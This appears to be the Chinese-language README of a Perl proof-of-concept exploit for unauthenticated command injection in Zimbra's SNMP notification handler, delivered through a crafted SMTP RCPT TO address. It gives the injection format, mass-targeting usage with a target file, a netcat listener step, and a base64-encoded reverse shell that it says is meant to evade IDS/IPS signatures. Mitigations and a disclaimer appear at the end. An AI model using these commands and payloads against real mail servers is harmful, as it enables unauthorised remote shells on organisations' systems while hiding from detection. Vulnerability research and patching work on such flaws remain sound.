通过 Zimbra Collaboration Suite SNMP 通知处理器中的 OS 命令注入实现未经身份验证的远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OS 命令中特殊元素的不当中和 |
| 受影响版本 | Zimbra ZCS < 10.1.20(已安装 zimbra-snmp) |
| 修复版本 | ZCS 10.1.20 — 2026 年 7 月 |
| CISA KEV | 于 2026-08-21 添加(FCEB 修复截止日期:2026-08-24) |
| 所需认证 | 无 |
| 执行身份 | zimbra OS 用户 |
可选的 zimbra-snmp 包附带了一条 swatchdog 规则,该规则会跟踪 /var/log/zimbra.log 中匹配以下内容的行:
Service status change: <NAME> changed from <STATE> to <STATE>
当发现匹配项时,swatchdog 会将捕获到的 <NAME> 字段直接传递给 SNMP 通知 shell 脚本,未进行任何净化处理。
未经身份验证的攻击者可以通过发送特制的 SMTP RCPT TO 命令来注入精心构造的日志条目。利用 RFC 5321 的带引号本地部分,shell 元字符——例如 $(...)——被嵌入到 <NAME> 中,并在 swatchdog 处理生成的日志行时执行。
目标上必须同时满足以下三个条件,该漏洞才可被利用:
zimbra-snmp 包snmp_notify = true)swatchdog 服务正在运行Attacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO 的标准 SMTP 会话。swatchdog 匹配日志模式并提取注入的 $(CMD)。zimbra 操作系统用户身份执行 CMD。cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
或通过 apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
或通过 yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — 每行一个主机,可选 :port,以 # 开头的行会被忽略:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| 标志 | 长选项 | 默认值 | 描述 |
|---|---|---|---|
-H | --host | — | 单个目标主机名或 IP |
-f | --file | — | 包含目标列表的文件 |
-p | --port | 587 | 默认 SMTP 端口 |
-r | --rhost | — | 用于反向 shell 回调的你的 IP |
-R | --rport | 4444 | 监听端口 |
-t | --timeout | 15 | Socket 超时时间(秒) |
-S | --ssl | 关闭 | 直接 TLS(在端口 465 上自动启用) |
-v | --verbose | 关闭 | 打印完整的 SMTP 对话 |
-L | --logfile | — | 将会话日志写入文件 |
-h | --help | — | 显示帮助 |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
反向 shell 命令在注入前会先进行 base64 编码:
echo <b64>|base64 -d|bash
这可以防止 IDS/IPS 匹配 /dev/tcp、bash -i 或 nc -e 等明文特征。编码后的数据块会以 $(...) 的形式注入到 RCPT TO 中带引号的本地部分内,当 swatchdog 处理该日志条目时,就会在服务端触发执行。
| 操作 | 详情 |
|---|---|
| 打补丁 | 升级至 Zimbra ZCS ≥ 10.1.20 |
| 禁用 SNMP 通知 | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| 移除软件包 | apt remove zimbra-snmp / yum remove zimbra-snmp |
| 网络控制 | 在运营可行的情况下,将入站 SMTP(25/465/587)限制为仅允许可信中继 |
本概念验证仅面向经授权的安全测试、学术研究和防御目的发布。
在未拥有或未获得明确书面许可测试的系统上运行本工具属于违法行为。
作者对因本工具造成的任何滥用或损害不承担任何责任。